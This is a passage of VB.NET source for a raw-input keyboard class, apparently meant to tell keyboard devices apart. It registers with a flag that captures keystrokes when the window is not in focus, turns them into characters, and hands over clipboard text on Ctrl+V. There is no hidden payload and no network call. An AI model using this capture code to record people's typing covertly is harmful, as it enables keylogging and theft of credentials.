''' For more information, see Virtual Key Codes: [Enlace externo eliminado para invitados]
''' </summary>
<MarshalAs(UnmanagedType.U2)>
Public VKey As UShort
''' <summary>
''' The corresponding window message, for example WM_KEYDOWN, WM_SYSKEYDOWN, and so forth.
''' </summary>
<MarshalAs(UnmanagedType.U4)>
Public Message As UInteger
''' <summary>
''' The device-specific additional information for the event.
''' </summary>
<MarshalAs(UnmanagedType.U4)>
Public ExtraInformation As UInteger
End Structure
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Defines information for the raw input devices.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
''' <remarks>[Enlace externo eliminado para invitados]>
''' ----------------------------------------------------------------------------------------------------
<StructLayout(LayoutKind.Sequential)>
Friend Structure RawInputDevice
''' <summary>
''' Top level collection Usage page for the raw input device.
''' </summary>
<MarshalAs(UnmanagedType.U2)>
Public UsUsagePage As UShort
''' <summary>
''' Top level collection Usage for the raw input device.
''' </summary>
<MarshalAs(UnmanagedType.U2)>
Public UsUsage As UShort
''' <summary>
''' Mode flag that specifies how to interpret the information provided by
''' <see cref="InputDevice.NativeMethods.RawInputDevice.UsUsagePage"></see> and
''' <see cref="InputDevice.NativeMethods.RawInputDevice.UsUsage"></see>.
''' It can be zero (the default) or one of the following values.
''' By default, the operating system sends raw input from devices with the specified top level collection (TLC) to the
''' registered application as long as it has the window focus.
''' </summary>
<MarshalAs(UnmanagedType.U4)>
Public DwFlags As InputDevice.NativeMethods.RawInputDeviceFlags
''' <summary>
''' A handle to the target window.
''' If this value is <see cref="IntPtr.Zero"></see>, it follows the keyboard focus.
''' </summary>
Public HwndTarget As IntPtr
End Structure
#End Region
#Region " Constants "
''' ----------------------------------------------------------------------------------------------------
''' <summary>
'''
''' </summary>
''' ----------------------------------------------------------------------------------------------------
''' <remarks></remarks>
''' ----------------------------------------------------------------------------------------------------
Friend Const FAPPCOMMAND_MASK As Integer = &HF000
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' The last Virtual-Key Code.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
''' <remarks>[Enlace externo eliminado para invitados]>
''' ----------------------------------------------------------------------------------------------------
Friend Const VKLastKey As Integer = &HFE ' VK_OEM_CLEAR
#End Region
End Class
#End Region
#Region " Properties "
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Gets the amount of keyboard devices.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
''' <value>
''' The amount of keyboard devices.
''' </value>
''' ----------------------------------------------------------------------------------------------------
Public ReadOnly Property DeviceCount As Integer
Get
Return Me.deviceCountB
End Get
End Property
''' <summary>
''' ( Backing Field )
''' The amount of keyboard devices.
''' </summary>
Private deviceCountB As Integer
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Gets or sets the keyboard language.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
''' <value>
''' The keyboard language.
''' </value>
''' ----------------------------------------------------------------------------------------------------
Public Property Language As String
Get
Return Me.languageB
End Get
Set(ByVal value As String)
Me.languageB = value
Me.CurrentCulture = New CultureInfo(name:=value)
End Set
End Property
''' <summary>
''' ( Backing Field )
''' The keyboard language.
''' </summary>
Private languageB As String = InputLanguage.DefaultInputLanguage.Culture.Name
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Gets or sets the keyboard culture.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
''' <value>
''' The keyboard culture.
''' </value>
''' ----------------------------------------------------------------------------------------------------
Private Property CurrentCulture As New CultureInfo(name:=languageB)
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Gets the keyboard layout Identifier.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
''' <value>
''' The keyboard layout Identifier.
''' </value>
''' ----------------------------------------------------------------------------------------------------
Public ReadOnly Property KeyboardLayoutID As Integer
Get
Return Me.CurrentCulture.KeyboardLayoutId
End Get
End Property
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Gets the keyboard layout handle (HKL).
''' </summary>
''' ----------------------------------------------------------------------------------------------------
''' <value>
''' The keyboard layout handle (HKL).
''' </value>
''' ----------------------------------------------------------------------------------------------------
Public ReadOnly Property KeyboardLayoutHandle As IntPtr
Get
Return InputLanguage.FromCulture(Me.CurrentCulture).Handle
End Get
End Property
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Gets or sets a collection of <see cref="Keys"></see> to ignore from raising the <see cref="InputDevice.KeyPressed"></see> event.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
''' <value>
''' The collection of <see cref="Keys"></see> to ignore.
''' </value>
''' ----------------------------------------------------------------------------------------------------
Public Property IgnoredKeys As IEnumerable(Of Keys) = {}
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Gets or sets a collection of <see cref="Char"></see> to ignore from raising the <see cref="InputDevice.KeyPressed"></see> event.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
''' <value>
''' The collection of <see cref="Char"></see> to ignore.
''' </value>
''' ----------------------------------------------------------------------------------------------------
Public Property IgnoredChars As IEnumerable(Of Char) = {}
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Gets or sets the comparison behavior for <see cref="InputDevice.IgnoredChars"></see>.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
''' <value>
''' The comparison behavior for <see cref="InputDevice.IgnoredChars"></see>.
''' </value>
''' ----------------------------------------------------------------------------------------------------
Public Property IgnoredCharsComparer As IEqualityComparer(Of Char) = EqualityComparer(Of Char).Default
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Gets or sets a collection of <see cref="String"></see> to ignore from raising the <see cref="InputDevice.KeyPressed"></see> event.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
''' <value>
''' The collection of <see cref="String"></see> to ignore.
''' </value>
''' ----------------------------------------------------------------------------------------------------
Public Property IgnoredStrings As IEnumerable(Of String) = {}
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Gets or sets the comparison behavior for <see cref="InputDevice.IgnoredStrings"></see>.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
''' <value>
''' The comparison behavior for <see cref="InputDevice.IgnoredStrings"></see>.
''' </value>
''' ----------------------------------------------------------------------------------------------------
Public Property IgnoredStringsComparer As IEqualityComparer(Of String) = StringComparer.OrdinalIgnoreCase
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Gets or sets a value that determines whether a paste operation (Ctrl+V) should be handled.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
''' <value>
''' A value that determines whether a paste operation (Ctrl+V) should be handled.
''' </value>
''' ----------------------------------------------------------------------------------------------------
Public Property HandlePastes As Boolean = False
#End Region
#Region " Variables "
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' The form to override its Windows Messages.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
Private WithEvents form As Form
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' List of devices.
''' Key: An <see cref="IntPtr"></see> that points to the device handle.
''' Value: The associated <see cref="InputDevice.DeviceInfo"></see> class.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
Private deviceList As New Hashtable
#End Region
#Region " Enumerations "
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Specifies a type of input device event.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
Public Enum DeviceEvent As Integer
''' <summary>
''' A key is pressed.
''' </summary>
Key = 0
''' <summary>
''' A mouse button is click.
''' </summary>
Mouse = 1
''' <summary>
''' An unidentified hardware source generated the event.
''' It could be a mouse or a keyboard event.
''' </summary>
Oem = 2
End Enum
''' ----------------------------------------------------------------------------------------------------
''' <summary>
'''
''' </summary>
''' ----------------------------------------------------------------------------------------------------
''' <remarks>[Enlace externo eliminado para invitados]>
''' ----------------------------------------------------------------------------------------------------
Private Enum GetDeviceLparam As Integer
''' <summary>
''' User pressed a key.
''' </summary>
Key = &H0
''' <summary>
''' User clicked a mouse button.
''' </summary>
Mouse = &H8000
''' <summary>
''' An unidentified hardware source generated the event.
''' It could be a mouse or a keyboard event.
''' </summary>
Oem = &H1000
End Enum
#End Region
#Region " Types "
''' <summary>
''' Encapsulates the information about a keyboard event, including the device it originated with and what key was pressed.
''' </summary>
<Serializable>
Public NotInheritable Class DeviceInfo
#Region " Properties "
''' <summary>
''' Gets or sets the device name.
''' </summary>
''' <value>The device name.</value>
Public Property DeviceName As String
''' <summary>
''' Gets or sets the device type.
''' </summary>
''' <value>The device type.</value>
Public Property DeviceType As String
''' <summary>
''' Gets or sets the device handle.
''' </summary>
''' <value>The device handle.</value>
Public Property DeviceHandle As IntPtr
''' <summary>
''' Gets or sets the device description.
''' </summary>
''' <value>The device description.</value>
Public Property DeviceDescription As String
''' <summary>
''' Gets or sets the source.
''' </summary>
''' <value>The source.</value>
Public Property Source As String
''' <summary>
''' Gets or sets the key number.
''' </summary>
''' <value>The key.</value>
Public Property KeyNum As UShort
''' <summary>
''' Gets or sets the key.
''' </summary>
''' <value>The key.</value>
Public Property Key As Keys
''' <summary>
''' Gets or sets the characters.
''' </summary>
''' <value>The characters.</value>
Public Property Chars As String
#End Region
End Class
#End Region
#Region " Events "
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' This event is raised when a key was pressed.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
Public Event KeyPressed As EventHandler(Of KeyPressedEventArgs)
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' This event is raised when a paste hotkey was pressed (Ctrl+V).
''' </summary>
''' ----------------------------------------------------------------------------------------------------
Public Event HotkeyPastePressed As EventHandler(Of HotkeyPastePressedEventArgs)
#End Region
#Region " Event Aarguments "
#Region " KeyPressedEventArgs "
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Arguments provided by the handler for the <see cref="InputDevice.KeyPressed"></see> event.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
Public NotInheritable Class KeyPressedEventArgs : Inherits EventArgs
#Region " Properties "
''' <summary>
''' Gets the device info.
''' </summary>
''' <value>The device info.</value>
Public ReadOnly Property DeviceInfo() As DeviceInfo
Get
Return Me.deviceInfoB
End Get
End Property
''' <summary>
''' ( Backing Field )
''' The device info.
''' </summary>
Private ReadOnly deviceInfoB As DeviceInfo
''' <summary>
''' Gets the device event.
''' </summary>
''' <value>The device event.</value>
Public ReadOnly Property DeviceEvent() As DeviceEvent
Get
Return Me.deviceEventB
End Get
End Property
''' <summary>
''' ( Backing Field )
''' The device event.
''' </summary>
Private ReadOnly deviceEventB As DeviceEvent
#End Region
#Region " Constructors "
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Initializes a new instance of the <see cref="KeyPressedEventArgs"/> class.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
Public Sub New()
End Sub
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Initializes a new instance of the <see cref="KeyPressedEventArgs"/> class.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
''' <param name="deviceInfo">
''' The device data.
''' </param>
'''
''' <param name="deviceEvent">
''' The device event.
''' </param>
''' ----------------------------------------------------------------------------------------------------
Public Sub New(ByVal deviceInfo As DeviceInfo,
ByVal deviceEvent As DeviceEvent)
Me.deviceInfoB = deviceInfo
Me.deviceEventB = deviceEvent
End Sub
#End Region
End Class
#End Region
#Region " KeyPressedEventArgs "
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Arguments provided by the handler for the <see cref="InputDevice.HotkeyPastePressedEventArgs"></see> event.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
Public NotInheritable Class HotkeyPastePressedEventArgs : Inherits EventArgs
#Region " Properties "
''' <summary>
''' Gets the device info.
''' </summary>
''' <value>The device info.</value>
Public ReadOnly Property DeviceInfo() As DeviceInfo
Get
Return Me.deviceInfoB
End Get
End Property
''' <summary>
''' ( Backing Field )
''' The device info.
''' </summary>
Private ReadOnly deviceInfoB As DeviceInfo
''' <summary>
''' Gets the clipboard data.
''' </summary>
''' <value>The clipboard data.</value>
Public ReadOnly Property ClipboardData() As String
Get
Return Me.clipboardDatab
End Get
End Property
''' <summary>
''' ( Backing Field )
''' The clipboard data.
''' </summary>
Private ReadOnly clipboardDatab As String
#End Region
#Region " Constructors "
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Initializes a new instance of the <see cref="HotkeyPastePressedEventArgs"/> class.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
Public Sub New()
End Sub
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Initializes a new instance of the <see cref="HotkeyPastePressedEventArgs"/> class.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
''' <param name="deviceInfo">
''' The device data.
''' </param>
'''
''' <param name="clipboardData">
''' The clipboard data.
''' </param>
''' ----------------------------------------------------------------------------------------------------
Public Sub New(ByVal deviceInfo As DeviceInfo,
ByVal clipboardData As String)
Me.deviceInfoB = deviceInfo
Me.clipboardDatab = clipboardData
End Sub
#End Region
End Class
#End Region
#End Region
#Region " Constructors "
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' InputDevice constructor; registers the raw input devices
''' for the calling window.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
''' <param name="hwnd">
''' A handle to the window that will listen for device events.
''' </param>
''' ----------------------------------------------------------------------------------------------------
<DebuggerStepThrough>
Public Sub New(ByVal hwnd As IntPtr)
Me.form = DirectCast(Control.FromHandle(hwnd), Form)
' Create an array of all the raw input devices we want to listen to.
' In this case, only keyboard devices.
Dim rid As InputDevice.NativeMethods.RawInputDevice() =
New InputDevice.NativeMethods.RawInputDevice(0) {}
With rid(0)
.UsUsagePage = 1US
.UsUsage = 6US
.HwndTarget = hwnd
.DwFlags = NativeMethods.RawInputDeviceFlags.InputSink
End With
If Not InputDevice.NativeMethods.RegisterRawInputDevices(rid, CUInt(rid.Length), CUInt(Marshal.SizeOf(rid(0)))) Then
Throw New ApplicationException("Failed to register raw input device(s).")
End If
Me.deviceCountB = Me.EnumerateDevices()
End Sub
''' <summary>
''' Prevents a default instance of the <see cref="InputDevice"/> class from being created.
''' </summary>
Private Sub New()
End Sub
#End Region
#Region " Private Methods "
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Determines what type of device triggered a WM_INPUT message.
''' (Used in the ProcessInputCommand method).
''' </summary>
''' ----------------------------------------------------------------------------------------------------
''' <param name="lParam">
''' The LParam from a WM_INPUT message.
''' </param>
''' ----------------------------------------------------------------------------------------------------
''' <returns>
''' A <see cref="InputDevice.DeviceEvent"></see> Enum value.
''' </returns>
''' ----------------------------------------------------------------------------------------------------
''' <exception cref="NotImplementedException">
''' Unrecognized GetDeviceLparam Enum value
''' </exception>
''' ----------------------------------------------------------------------------------------------------
Private Function GetDevice(ByVal lParam As Integer) As DeviceEvent
Select Case DirectCast(lParam >> 16 And InputDevice.NativeMethods.FAPPCOMMAND_MASK, GetDeviceLparam)
Case GetDeviceLparam.Key
Return DeviceEvent.Key
Case GetDeviceLparam.Mouse
Return DeviceEvent.Mouse
Case GetDeviceLparam.Oem
Return DeviceEvent.Oem
Case Else
Return DeviceEvent.Key
' Throw New NotImplementedException(message:="Unrecognized GetDeviceLparam Enum value.")
End Select
End Function
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Converts a <see cref="InputDevice.NativeMethods.RawInputDeviceList.DwType"></see> value to a string
''' describing the device type.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
''' <param name="deviceType">
''' A <see cref="InputDevice.NativeMethods.RawInputDeviceList.DwType"></see> value.
''' </param>
''' ----------------------------------------------------------------------------------------------------
''' <returns>
''' A string representation of the input value.
''' </returns>
''' ----------------------------------------------------------------------------------------------------
Private Function GetDeviceType(ByVal deviceType As InputDevice.NativeMethods.DeviceType) As String
Select Case deviceType
Case NativeMethods.DeviceType.Mouse
Return "MOUSE"
Case NativeMethods.DeviceType.Keyboard
Return "KEYBOARD"
Case NativeMethods.DeviceType.Hid
Return "HID"
Case Else
Return "UNKNOWN"
End Select
End Function
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Iterates through the list provided by <see cref="InputDevice.NativeMethods.GetRawInputDeviceList"></see>,
''' counting keyboard devices and adding them to <see cref="InputDevice.deviceList"></see>.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
''' <returns>
''' The number of keyboard devices found.
''' </returns>
''' ----------------------------------------------------------------------------------------------------
Private Function EnumerateDevices() As Integer
Dim numberOfDevices As Integer
Dim deviceCount As UInteger
Dim dwSize As Integer = (Marshal.SizeOf(GetType(InputDevice.NativeMethods.RawInputDeviceList)))
' Get the number of raw input devices in the list, then allocate sufficient memory and get the entire list.
If InputDevice.NativeMethods.GetRawInputDeviceList(IntPtr.Zero, deviceCount, CUInt(dwSize)) = 0 Then
Dim pRawInputDeviceList As IntPtr = Marshal.AllocHGlobal(CInt(dwSize * deviceCount))
InputDevice.NativeMethods.GetRawInputDeviceList(pRawInputDeviceList, deviceCount, CUInt(dwSize))
' Iterate through the list, discarding undesired items and retrieving further information on keyboard devices.
For i As Integer = 0 To CInt(deviceCount - 1)
Dim dInfo As DeviceInfo
Dim deviceName As String
Dim pcbSize As UInteger = 0
Dim rid As InputDevice.NativeMethods.RawInputDeviceList =
CType(Marshal.PtrToStructure(New IntPtr((pRawInputDeviceList.ToInt32() + (dwSize * i))),
GetType(InputDevice.NativeMethods.RawInputDeviceList)), InputDevice.NativeMethods.RawInputDeviceList)
InputDevice.NativeMethods.GetRawInputDeviceInfo(rid.HDevice,
NativeMethods.GetRawInputDeviceInfoCommand.DeviceName,
IntPtr.Zero,
pcbSize)
If pcbSize > 0 Then
Dim pData As IntPtr = Marshal.AllocHGlobal(CInt(pcbSize))
InputDevice.NativeMethods.GetRawInputDeviceInfo(rid.HDevice,
NativeMethods.GetRawInputDeviceInfoCommand.DeviceName,
pData,
pcbSize)
deviceName = Marshal.PtrToStringAnsi(pData)
' Drop the "root" keyboard and mouse devices used for 'Terminal Services' and the 'Remote Desktop'.
If deviceName.ToUpper().Contains("ROOT") Then
Continue For
End If
' If the device is identified in the list as a keyboard or HID device,
' create a DeviceInfo object to store information about it.
If (rid.DwType = NativeMethods.DeviceType.Keyboard) OrElse
(rid.DwType = NativeMethods.DeviceType.Hid) Then
dInfo = New DeviceInfo()
dInfo.DeviceName = Marshal.PtrToStringAnsi(pData)
dInfo.DeviceHandle = rid.HDevice
dInfo.DeviceType = GetDeviceType(rid.DwType)
' Check the Registry to see whether this is actually a keyboard, and to retrieve a more friendly description.
Dim isKeyboardDevice As Boolean = False
Dim deviceDesc As String = Me.ReadRegistry(deviceName, isKeyboardDevice, dInfo.DeviceType)
dInfo.DeviceDescription = deviceDesc
' If it is a keyboard and it isn't already in the list,
' add it to the deviceList hashtable and increase the numberOfDevices count.
If Not deviceList.Contains(rid.HDevice) AndAlso isKeyboardDevice Then
numberOfDevices += 1
deviceList.Add(rid.HDevice, dInfo)
End If
End If
Marshal.FreeHGlobal(pData)
End If
Next i
Marshal.FreeHGlobal(pRawInputDeviceList)
Return numberOfDevices
Else
Throw New ApplicationException("An error occurred while retrieving the list of devices.")
End If
End Function
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Reads the Registry to retrieve a friendly description of the device, and determine whether it is a keyboard.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
''' <param name="nameID">
''' The device name identifier to search for,
''' as provided by <see cref="InputDevice.NativeMethods.GetRawInputDeviceInfo"></see> function.
''' </param>
'''
''' <param name="isKeyboard">
''' A reffered variable that determines whether the device's class is "Keyboard".
''' </param>
'''
''' <param name="deviceType">
''' The device type.
''' </param>
''' ----------------------------------------------------------------------------------------------------
''' <returns>
''' The device description stored in the registry entry's DeviceDesc value.
''' </returns>
''' ----------------------------------------------------------------------------------------------------
Private Function ReadRegistry(ByVal nameID As String,
ByRef isKeyboard As Boolean,
ByVal deviceType As String) As String
' Example Device Identification string:
' @"\??\ACPI#PNP0303#3&13c0b0c5&0#{884b96c3-56ef-11d1-bc8c-00a0c91405dd}";
' Remove the '\??\'.
Dim idSplit As IEnumerable(Of String) = nameID.Substring(4).Split("#"c)
' ACPI (Class code).
Dim id01 As String = idSplit(0)
' PNP0303 (SubClass code).
Dim id02 As String = idSplit(1)
' 3&13c0b0c5&0 (Protocol code).
' The final splitted part, idSplit(3), is the class GUID and is not needed here.
Dim id03 As String = idSplit(2)
Dim idSubkeyPath As String = String.Format("System\CurrentControlSet\Enum\{0}\{1}\{2}", id01, id02, id03)
Using regKey As RegistryKey = Registry.LocalMachine.OpenSubKey(idSubkeyPath, writable:=False)
'Retrieve the desired information.
Dim deviceDesc As String = DirectCast(regKey.GetValue("DeviceDesc", defaultValue:="Nothing"), String)
Dim deviceClass As String = DirectCast(regKey.GetValue("Class", defaultValue:="Nothing"), String)
If deviceType.Equals("KEYBOARD", StringComparison.OrdinalIgnoreCase) OrElse
deviceClass.Equals("KEYBOARD", StringComparison.OrdinalIgnoreCase) Then
isKeyboard = True
Else
isKeyboard = False
End If
Return deviceDesc
End Using
End Function
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Gets the characters from keys.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
''' <param name="key">
''' The key.
''' </param>
''' <param name="shift">
''' The state of <see cref="Keys.ShiftKey"></see>, <c>True</c> if enabled.
''' </param>
''' <param name="altGr">
''' The state of <see cref="Keys.Menu"></see>, <c>True</c> if enabled.
''' </param>
''' ----------------------------------------------------------------------------------------------------
''' <returns>
''' The characters.
''' </returns>
''' ----------------------------------------------------------------------------------------------------
Private Function GetCharsFromKeys(ByVal key As Keys,
ByVal shift As Boolean,
ByVal altGr As Boolean) As String
Dim buf As New StringBuilder(256)
Dim keyboardState As Byte() = New Byte(255) {}
If shift Then
keyboardState(CInt(Keys.ShiftKey)) = &HFF
End If
If altGr Then
keyboardState(CInt(Keys.ControlKey)) = &HFF
keyboardState(CInt(Keys.Menu)) = &HFF
End If
Dim rc As Integer
rc = InputDevice.NativeMethods.ToUnicodeEx(CUInt(key), 0UI, keyboardState, buf, buf.Capacity, 0UI,
Me.KeyboardLayoutHandle)
Select Case rc
Case -1 ' Its a dead key, like for example "`´" accents or "^".
Return ""
Case 0 ' Single character in buffer.
Return ""
Case 1
Return buf(0).ToString()
Case Else ' Two or more (only two of them are relevant).
Return buf.ToString().Substring(0, 2)
End Select
End Function
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Processes WM_INPUT messages to retrieve information about any keyboard events that occur.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
''' <param name="message">
''' The WM_INPUT message to process.
''' </param>
''' ----------------------------------------------------------------------------------------------------
Private Sub ProcessInputCommand(ByVal message As Message)
Dim dwSize As UInteger = 0
' First call to GetRawInputData sets the value of dwSize,
' which can then be used to allocate the appropriate amount of memory, storing the pointer in "buffer".
InputDevice.NativeMethods.GetRawInputData(message.LParam,
NativeMethods.GetRawInputDataCommand.Input,
IntPtr.Zero,
dwSize,
CUInt(Marshal.SizeOf(GetType(InputDevice.NativeMethods.RawInputHeader))))
Dim buffer As IntPtr = Marshal.AllocHGlobal(CInt(dwSize))
Try
' Check that buffer points to something,
' and if so, call GetRawInputData again to fill the allocated memory with information about the input.
If (buffer <> IntPtr.Zero) AndAlso
(InputDevice.NativeMethods.GetRawInputData(message.LParam,
NativeMethods.GetRawInputDataCommand.Input,
buffer,
dwSize,
CUInt(Marshal.SizeOf(GetType(InputDevice.NativeMethods.RawInputHeader)))) = dwSize) Then
' Store the message information in "raw",
' then check that the input comes from a keyboard device before processing it to raise an appropriate KeyPressed event.
Dim raw As InputDevice.NativeMethods.Rawinput =
CType(Marshal.PtrToStructure(buffer, GetType(InputDevice.NativeMethods.Rawinput)), InputDevice.NativeMethods.Rawinput)
If raw.Header.DwType = NativeMethods.DeviceType.Keyboard Then
' Filter for Key Down events and then retrieve informationabout the keystroke.
If (raw.Keyboard.Message = InputDevice.NativeMethods.WindowsMessages.WM_KEYDOWN) OrElse
(raw.Keyboard.Message = InputDevice.NativeMethods.WindowsMessages.WM_SYSKEYDOWN) Then
Dim key As UShort = raw.Keyboard.VKey
' On most keyboards, "extended" keys such as the arrow or page keys return two codes:
' 1: the key 's own code, and 2: a "extended key" flag, which translates to 255.
' The flag isn't useful to us, so it can be disregarded.
If key > InputDevice.NativeMethods.VKLastKey Then
Return
End If
Dim isPaste As Boolean
Dim isShiftPress As Boolean = (InputDevice.NativeMethods.GetAsyncKeyState(Keys.ShiftKey) <> 0)
Dim isAltGrPress As Boolean = (InputDevice.NativeMethods.GetAsyncKeyState(Keys.Menu) <> 0)
Dim isCrtlPress As Boolean = (InputDevice.NativeMethods.GetAsyncKeyState(Keys.ControlKey) <> 0)
Dim isCapsLockPress As Boolean = (((InputDevice.NativeMethods.GetKeyState(Keys.Capital)) And &H1) <> 0)
' Dim isCapsLockPress As Boolean = Control.IsKeyLocked(Keys.CapsLock)
' Determines whether a key press on an alphabetic character should be translated to Upper-Case.
' This is thinked to simulate these combinations:
' · CapsLock Enabled + Shift Enabled = Lower Character
' · CapsLock Enabled + Shift Disabled = Upper Character
' · CapsLock Disabled + Shift Disabled = Lower Character
' · CapsLock Disabled + Shift Enabled = Upper Character
Dim charToUpperCase As Boolean = (isCapsLockPress = True And isShiftPress = False) Or
(isCapsLockPress = False And isShiftPress = True)
' Retrieve information about the device and the key that was pressed.
Dim dInfo As DeviceInfo = CType(deviceList(raw.Header.HDevice), DeviceInfo)
dInfo.KeyNum = key
dInfo.Key = CType([Enum].Parse(GetType(Keys), [Enum].GetName(GetType(Keys), key)), Keys)
If (isCrtlPress) AndAlso (dInfo.Key = Keys.V) Then ' Paste hotkey (Ctrl+V).
isPaste = True
End If
dInfo.Chars = Me.GetCharsFromKeys(dInfo.Key, isShiftPress, isAltGrPress).ToLower
If charToUpperCase Then
dInfo.Chars = dInfo.Chars.ToUpper
End If
' If the key that was pressed is valid and there was no problem retrieving information on the device,
' raise the KeyPressed event.
If (Me.KeyPressedEvent IsNot Nothing) AndAlso (dInfo IsNot Nothing) Then
' If is not an ignored key and also is not an ignored string then...
If (Not Me.IgnoredKeys.Contains(dInfo.Key)) AndAlso
(Not Me.IgnoredStrings.Any(Function(s As String) s.Equals(dInfo.Chars))) Then
' Remove ignored characters.
Dim isEmpty As Boolean = String.IsNullOrEmpty(dInfo.Chars)
dInfo.Chars = String.Join("", From c As Char In dInfo.Chars Where Not Me.IgnoredChars.Contains(c))
' If original string is empty (like when pressing a SHIFT key),
' Or else the string is not empty after removing ignored chars, then...
If isEmpty OrElse (Not String.IsNullOrEmpty(dInfo.Chars)) Then
If (Me.HandlePastes) AndAlso (HotkeyPastePressedEvent IsNot Nothing) AndAlso (isPaste) Then
RaiseEvent HotkeyPastePressed(Me, New HotkeyPastePressedEventArgs(dInfo, Clipboard.GetText))
Else
RaiseEvent KeyPressed(Me, New KeyPressedEventArgs(dInfo, Me.GetDevice(message.LParam.ToInt32())))
End If
End If
End If
Else
Throw New ApplicationException(String.Format("Received Unknown Key: {0}. Possibly an unknown device.", key))
End If
End If
End If
End If
Finally
Marshal.FreeHGlobal(buffer)
End Try
End Sub
#End Region
#Region " Hidden Methods "
''' <summary>
''' Assigns a handle to this window.
''' </summary>
<EditorBrowsable(EditorBrowsableState.Never)>
Public Shadows Sub AssignHandle(handle As IntPtr)
MyBase.AssignHandle(handle)
End Sub
''' <summary>
''' Creates a window and its handle with the specified creation parameters.
''' </summary>
<EditorBrowsable(EditorBrowsableState.Never)>
Public Shadows Sub CreateHandle(cp As CreateParams)
MyBase.CreateHandle(cp)
End Sub
''' <summary>
''' Destroys the window and its handle.
''' </summary>
<EditorBrowsable(EditorBrowsableState.Never)>
Public Shadows Sub DestroyHandle()
MyBase.DestroyHandle()
End Sub
''' <summary>
''' Releases the handle associated with this window.
''' </summary>
<EditorBrowsable(EditorBrowsableState.Never)>
Public Shadows Sub ReleaseHandle()
MyBase.ReleaseHandle()
End Sub
''' <summary>
''' Retrieves the current lifetime service object that controls the lifetime policy for this instance.
''' </summary>
<EditorBrowsable(EditorBrowsableState.Never)>
Public Shadows Function GetLifeTimeService() As Object
Return MyBase.GetLifetimeService
End Function
''' <summary>
''' Obtains a lifetime service object to control the lifetime policy for this instance.
''' </summary>
<EditorBrowsable(EditorBrowsableState.Never)>
Public Shadows Function InitializeLifeTimeService() As Object
Return MyBase.InitializeLifetimeService
End Function
''' <summary>
''' Creates an object that contains all the relevant information required to generate a proxy used to communicate with a remote object.
''' </summary>
<EditorBrowsable(EditorBrowsableState.Never)>
Public Shadows Function CreateObjRef(requestedType As Type) As System.Runtime.Remoting.ObjRef
Return MyBase.CreateObjRef(requestedType)
End Function
''' <summary>
''' Invokes the default window procedure associated with this window.
''' </summary>
<EditorBrowsable(EditorBrowsableState.Never)>
Public Shadows Sub DefWndProc(ByRef m As Message)
MyBase.DefWndProc(m)
End Sub
#End Region
#Region " Event-Handlers "
''' <summary>
''' Assign the handle of the target Form to this NativeWindow,
''' necessary to override target Form's WndProc.
''' </summary>
Private Sub SetFormHandle() _
Handles form.HandleCreated,
form.Load,
form.Shown
If Not MyBase.Handle.Equals(Me.form.Handle) Then
MyBase.AssignHandle(Me.form.Handle)
End If
End Sub
''' <summary>
''' Releases the Handle.
''' </summary>
Private Sub OnHandleDestroyed() _
Handles form.HandleDestroyed
MyBase.ReleaseHandle()
End Sub
#End Region
#Region " Windows Procedure (WndProc) "
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Invokes the default window procedure associated with this window to process windows messages.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
''' <param name="m">
''' A <see cref="System.Windows.Forms.Message" /> that is associated with the current window message.
''' </param>
''' ----------------------------------------------------------------------------------------------------
Protected Overrides Sub WndProc(ByRef m As Message)
Select Case m.Msg
Case InputDevice.NativeMethods.WindowsMessages.WM_INPUT
